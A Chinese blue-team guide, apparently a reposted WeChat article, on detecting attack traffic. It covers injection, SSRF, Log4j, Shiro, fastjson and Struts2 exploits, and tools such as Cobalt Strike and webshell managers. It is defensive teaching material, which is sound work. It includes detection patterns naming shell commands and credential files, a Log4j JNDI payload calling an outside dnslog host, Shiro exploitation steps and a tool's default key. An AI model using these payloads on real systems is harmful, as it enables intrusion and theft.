护网蓝队之研判分析

admin 2024年4月24日00:42:39评论11 views字数 7514阅读25分2秒阅读模式

逻辑漏洞常见模块场景

护网蓝队之研判分析

常见攻击流量特征

sql注入流量特征

1、特殊关键字:

  • SQL关键字,如SELECT, WHERE, ORDER BY, UNION, UPDATE,DELETE, 

INSERT等,这些通常用于构建或修改查询

  • 系统函数,如USER(), @@VERSION(在MySQL中),这些可能用于获取数据库版本或当前用户等敏感信息

  • 特定数据库的函数或特性,如information_schema(用于获取数据库结构信息)、extractvalue(XML相关函数,有时用于绕过某些过滤)、floor(在盲注中用于产生条件差异)等。

2、编码和转义:

特殊字符(如单引号'、双引号"、等号=等)进行编码,常见的编码包括URL编码(如%27代表单引号)、十六进制编码等。使用注释符号,如--或/* */,来注释掉SQL语句的某部分,以改变查询的行为

3、多个或错误的SQL语句:攻击者可能尝试在一个请求中插入多个SQL语句,或者插入格式错误的SQL语句,以触发数据库的错误响应或执行未经授权的操作

XSS流量特征

1、Payload中包含HTML或JavaScript标签

2、如果在返回的响应包中发现了与请求包中相同的攻击语句,并且这些语句仍然被包裹在HTML标签内

3、请求中携带XSS脚本,返回值包含脚本并可嵌入HTML页面

4、返回包中的攻击语句未被转义

RCE流量特征

1、请求体或URL中,可能会出现危险的函数,如PHP中的system()、exec()、shell_exec()、passthru函数,popen函数,eval函数和assert()、JSP和ASP代码中也可能出现类似的运行时命令执行代码

2、流量中可能包含特殊字符,如|,||,&,&&,反引号 ,>,>>,<,<<等,这些字符在命令行中常常被用于命令连接、条件判断或重定向等功能

3、流量中可能出现系统命令、系统目录或敏感文件的引用

  • 系统命令:如ls、cat、rm等,用于查看、读取或删除文件。

  • 系统目录:如/etc、/var/log等,存储了系统的配置文件和日志文件。

  • 敏感文件:如/etc/passwd、/etc/shadow等,包含用户账户和密码信息。

SSRF流量特征

1、URL参数异常:URL参数是否修改为指向内网地址或其他不应该被访问的地址,(share、wap、url、link、src、source、target、domain等)这些参数后面的值是不是内网的IP地址或者是127.0.0.1或者是一些协议的一些关键字眼

2、伪协议使用:查看URL上是否有file/gopher/ftp/dict协议等伪协议来访问目标资源

3、参数值后面存在特殊字符:攻击者可能会使用特殊字符来绕过安全过滤机制,例如点号.、冒号:、空格等。也可能使用各种编码(如URL编码、Base64编码等)或进制转换来隐藏或混淆IP地址或域名,特殊的域名如xip.io可能被用于动态生成IP地址,从而绕过某些安全限制

红队工具流量特征

CobaltStrike流量特征 

1、HTTP请求特征:在CobaltStrike的http-beacon通信中,默认使用GET方法向特定的URL地址(如/dpixel、/__utm.gif、/pixel.gif、/load等)发起请求。请求头中存在cookie字段,并且该字段的值是base64编码后的非对称加密算法加密数据。

2、HTTPS证书特征:在https-beacon通信中,CobaltStrike默认使用空证书建立加密通道

3、DNS请求异常:DNS隧道技术来传输数据,在DNS请求中,域名可能以特定前缀开头(如“cdn.”、“www6.”、“api.”等),查询结果可能包含非常规的IP地址,这些地址用于指令传输或心跳检测。

4、心跳包特征:CobaltStrike通过发送心跳包来保持与被控端的通信。这些心跳包可能是定期发送的,其默认间隔通常为60秒,用于确认被控端的在线状态。

5、端口特征:CobaltStrike默认使用50050端口进行通信。然而,这个端口是可以修改的,只需要编辑teamserver文件并修改server_port即可。

6、源码特征:在流量中,通过http协议的url路径,经过checksum8解密算法计算后,32位的后门得到的结果是92,而64位的后门得到的结果是93

Metasploit 流量特征

1、端口号:msf数据库默认使用的postgresql的端口可能是5432,msf默认使用4444端口作为反向连接端口

2、数据内容:msf数据包通常包含特定字符串"meterpreter"、"revshell"等

3、特殊协议:MSF 框架通常会使用一些特殊的协议,例如 Meterpreter、Reverse TCP 等

sqlmap流量特征

  1. User-Agent关键字特征:Sqlmap工具在发起请求时,其默认的UserAgent中通常包含“sqlmap”关键字,如“sqlmap/1.5.8#stable 

  2. 攻击流程的顺序和规律:Sqlmap的攻击流程通常遵循一定的顺序和规律。例如在利用--os-shell攻击时,它会首先测试链接是否能够访问,接着判断操作系统版本,尝试爆绝对路径,指定上传路径,写入一个php文件,找到上传文件的访问路径,上传另一个php文件并执行命令等

  3. Payload测试语句的模板特征:Sqlmap使用的payload测试语句往往具有模板特征。例如,在盲注入时,它会使用逻辑语句(如and、or)和特定的函数来测试SQL注入的可行性。这些语句在流量中会以特定的模式出现,如尝试让SQL语句报错来发现SQL漏洞,或者使用特定的函数(如@@version_compile_os)来判断操作系统等。

框架及中间件漏洞流量特征

Shiro反序列化漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞那么,Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值在整个漏洞利用过程中,比较重要的是AES加密的密钥如果没有修改默认的密钥那么就很容易就知道密钥了

利用过程

  1. 构造Payload:攻击者首先需要将恶意代码序列化为字节流。

  2. AES加密:然后,使用Shiro默认的AES密钥对这个字节流进行加密。

  3. Base64编码:接着,对加密后的字节流进行Base64编码,使其可以作为cookie值的一部分。

  4. 设置Cookie:最后,将这个Base64编码后的值设置为rememberMe cookie的值,并将其发送给目标服务器。

当目标服务器接收到这个恶意的rememberMe cookie时,它会尝试对其进行解密和反序列化,从而触发漏洞,执行攻击者指定的恶意代码。

Shiro550与Shiro721的区别

  • Shiro550:这个漏洞利用了已知密钥碰撞,不需要真实的rememberMe cookie,只需要有足够的密钥库来尝试碰撞。

  • Shiro721:在这个版本中,AES加密的密钥不再是硬编码的,而是系统随机生成的。这使得攻击者很难直接猜到正确的密钥。然而仍然可以利用登录后的有效rememberMe cookie作为Padding Oracle Attack的前缀,通过精心构造的cookie值来实现反序列化漏洞攻击

Shiro反序列化流量特征

  • 未登录状态:请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段。

  • 登录失败:无论是否勾选RememberMe,返回包都会有rememberMe=deleteMe字段。

  • 不勾选RememberMe登录成功:返回包set-Cookie会有rememberMe=deleteMe字段,但后续请求中Cookie不会有rememberMe字段。

  • 勾选RememberMe登录成功:返回包set-Cookie会有rememberMe=deleteMe字段和rememberMe字段,后续请求中Cookie也会有rememberMe字段。

Apache Log4j2 远程代码执行漏洞原理

Apache Log4j2 框架中存在一个名为 JNDI Lookup 的功能,它允许通过配置文件中的 JNDI 名称引用外部资源。lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi注册一个恶意实例,使用lookup远程加载导致RCE${jndi:ldap://log4j.voxxaq.dnslog.cn},构造一个特殊的日志消息,其中包含恶意的 JNDI 名称,并通过网络发送给受影响的应用程序。当应用程序使用 Log4j2 框架解析日志消息时,它会尝试查找和引用该 JNDI 名称。如果恶意的 JNDI 名称指向一个恶意的远程资源,例如恶意的 LDAP 服务器或  RMI 服务,攻击者可以控制该远程资源的内容和行为。攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息

Log4j2 远程代码执行流量特征

1、dnslog类:查看是否存在源ip与dnslog的外联日志记录

2、数据包里有{jndi:ladp//}字段

3、命令执行攻击

有回显:响应体中存在命令执行结果

无回显 :存在源ip与ldap服务ip的外联日志记录

fastjson反序列化漏洞原理

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是bytecodes,有部分函数会根据这个bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数

fastjson反序列化流量特征

1、Payload中的特定关键词: Fastjson反序列化漏洞通常会利用恶意构造的JSON Payload,其中可能包含一些特定的关键词或字符串,例如""@type"",@type字段指定要加载的类,常见的带有ladp、rmi协议地址

2、HTTP请求方法: 恶意请求通常使用POST方法,因为Fastjson反序列化漏洞通常利用HTTP POST请求发送恶意JSON数据

3、HTTP请求头部: 检查HTTP请求头部,特别是Content-Type字段,通常Fastjson漏洞攻击会将Content-Type设置为"application/json"。

struts2命令执行漏洞原理

Struts2框架的动态性在于其使用的OGNL表达式可以在运行时获取变量的值并执行函数调用。如果可以将恶意的请求参数传递到OGNL的执行流程中,就会导致任意代码执行漏洞。Struts2的RCE(远程代码执行)本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传入的OGNL表达式,造成远程代码执行。可以利用这一漏洞执行远程命令,获取系统权限,或者进行其他恶意行为。

struts2命令执行流量特征

1. 在请求头中存在OGNL表达式,一般在url中会出现的攻击特征主要是:.action?method | ?redirect:$ 在conten-type中出现的攻击特征主要有:%{#context 、在报文体中出现的攻击特征主要有:#_memberAccess 等

2. 判断请求中是否包含特定的 Struts2 关键字,如"method:"、"redirect:"memberAcecess,getRuntime,println,双引号,单引号,等号,括号之类的符号。等,这些关键字可能是用于执行命令的操作;

3. 检查请求中是否包含"Content-Type"头字段,并且值为"application/x-www-form-urlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求;

4. 检查请求参数中是否包含OGNL表达式,如"${}"、"%{}"等字符;

5. 检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系统命令

webshell管理工具流量特征

菜刀流量特征:

1、默认的webshell中链接密码都是caidao、webshell 为一句话木马

2、请求包中的User-Agent(UA)头可能为百度或火狐等爬虫标识

3、请求体中存在 eval,base64等特征字符,eval函数用于执行传递的攻击payload,菜刀默认是使用Base64编码(base64_decode($_POST[XXX]))将攻击payload进行Base64解码

4、响应为明文,格式为 X@Y +内容 + X@Y、php的webshel中流量参数z0、z1、z2

5、连接建立后,会发送特定的验证码,如“knife”或“dadan”等进行验证

蚁剑流量特征:

1、默认的User-Agent请求头:蚁剑的默认User-Agent请求头通常为“antsword xxx”,但这个值是可以修改的。

2、请求体特征:PHP类WebShell流量请求体通常都以@ini_set("display_errors","0");@set_time_limit(0)开头

3、Webshell静态与动态特征:

  • 在使用蚁剑上传和管理Webshell时,不同的脚本语言(如PHP、ASP、JSP)会展现出不同的静态特征。例如,PHP中可能使用assert、eval执行代码,而ASP则主要依赖eval执行。

  • 动态特征方面,通过上传Webshell并抓包分析,可以发现每个请求体都包含特定的代码片段(如上述的@ini_set等),并且响应体通常会进行base64编码混淆,解码后,可以观察到攻击行为的payload。

4、加密与混淆:蚁剑使用了AES加密,同时采用二进制协议通信,在混淆加密后,参数名大多以“_0x.....=”的形式出现,其中“_0x”后面的部分通常是加密后的数据。

5、URL加密:蚁剑的正文内容通常使用URL加密,解密后的流量中,上述的@ini_set("display_errors","0")等特征会更为明显

冰蝎2.0流量特征:

1、请求头部:User-Agent字段可能表现出多样性

2、请求体:通常使用AES加密,并通过base64编码进行传输

3、Cookie字段:建立连接后,所有请求的Cookie格式通常为Cookie: PHPSESSID=; path=/;

4、返回包特征:在建立连接的初始阶段,返回包中通常包含16位的密钥,用于后续的通信加密。

5、数据包结构:具有特定的结构特征,如通常以0x01开头,以0x00结尾,中间包含蝎子协议特征数据

冰蝎3.0流量特征:

1、加密与编码:

  • 冰蝎3.0使用AES加密和base64编码进行通信

  • 冰蝎3.0使用固定的连接密钥。AES加密的密钥直接固定为webshell连接密码的MD5哈希值的前16位。默认情况下,连接密码是“rebeyond”,因此AES加密的密钥就是“e45e329feb5d925b”。

2、User-Agent多样性:冰蝎3.0在请求时内置了多个User-Agent头,并在每次请求时随机选择其中一个

3、Content-Type字段:当冰蝎3.0连接jsp的webshell时,请求数据包中的Content-Type字段常见为“application/octet-stream”。

4、请求头字段:冰蝎3.0的请求包中还可能包含其他特定的请求头字段,如“Pragma: no-cache”和“Cache-Control: no-cache”,用于控制缓存行为。

5、content-length字段:通常为5740或5720,但这一数值可能会根据Java版本的不同而有所变化。同时,请求头中仍然包含随机选择的User-Agent,以增加流量的隐蔽性。

冰蝎3.11流量特征

1、头部信息特征:冰蝎3.11的header头顺序是颠倒的,这种非标准的请求头顺序有助于识别其流量。

在通信过程中,冰蝎3.11可能会频繁使用特定的User-Agent,如“WOW64”等

2、数据编码与加密:发送的数据包通常是base64编码的,而返回的数据包则是以字节数组的形式呈现,这可能导致接收到的数据出现乱码现象。

冰蝎3.11对交互流量进行AES对称加密,这种加密方式使得流量内容难以被直接解析,增加了其隐蔽性。

3、密码验证与连接建立:如果冰蝎3.11的密码不正确,会出现两个连接尝试,一个是POST请求,另一个是GET请求,其content-type为application/octet-stream。

在请求包中,content-length的值可能为5740或5720(可能会根据Java版本而改变),这也是一个识别冰蝎3.11流量的线索。

4、缓存控制:在每一个请求头中,都可能存在Pragma: no-cache和Cache-Control: no-cache这样的缓存控制字段,这是冰蝎3.11为了避免被缓存而采取的措施。

5、请求路径:冰蝎3.11可能会频繁访问默认的路径,如“/con”,这种特定的访问模式也是识别其流量的一个重要依据。

哥斯拉流量特征:

1、Webshell特征:使用eval和base64编码。eval函数用于执行传递的攻击payload,而base64编码则用于混淆和隐藏数据。

2、请求包特征:

  • 请求包通常以“pass=”为起始,这是一个用于传递认证信息的常见参数

  • 哥斯拉的请求包通常较长,而响应包长度可能为0

  • 在一个TCP包中可能包含三个HTTP请求

  • User-Agent字段在默认情况下类似于“Java/1.8.0_121”,具体版本取决于JDK环境版本

  • Cookie字段中存在一个关键的特征,即最后一个Cookie值的末尾有一个不必要的分号,在标准的HTTP请求中,最后一个Cookie的值后面不应该出现分号

3、响应包特征:哥斯拉的响应包具有特定的结构特征,即整个响应包的结构体征为:md5前十六位+base64+md5后十六位

护网招聘

2024HVV简历可以投递至邮箱,格式为:姓名-手机号码-级别.pdf

投递邮箱:[email protected]

原文始发于微信公众号(青锋云盾):护网蓝队之研判分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日00:42:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   护网蓝队之研判分析https://cn-sec.com/archives/2685458.html

发表评论

匿名网友 填写信息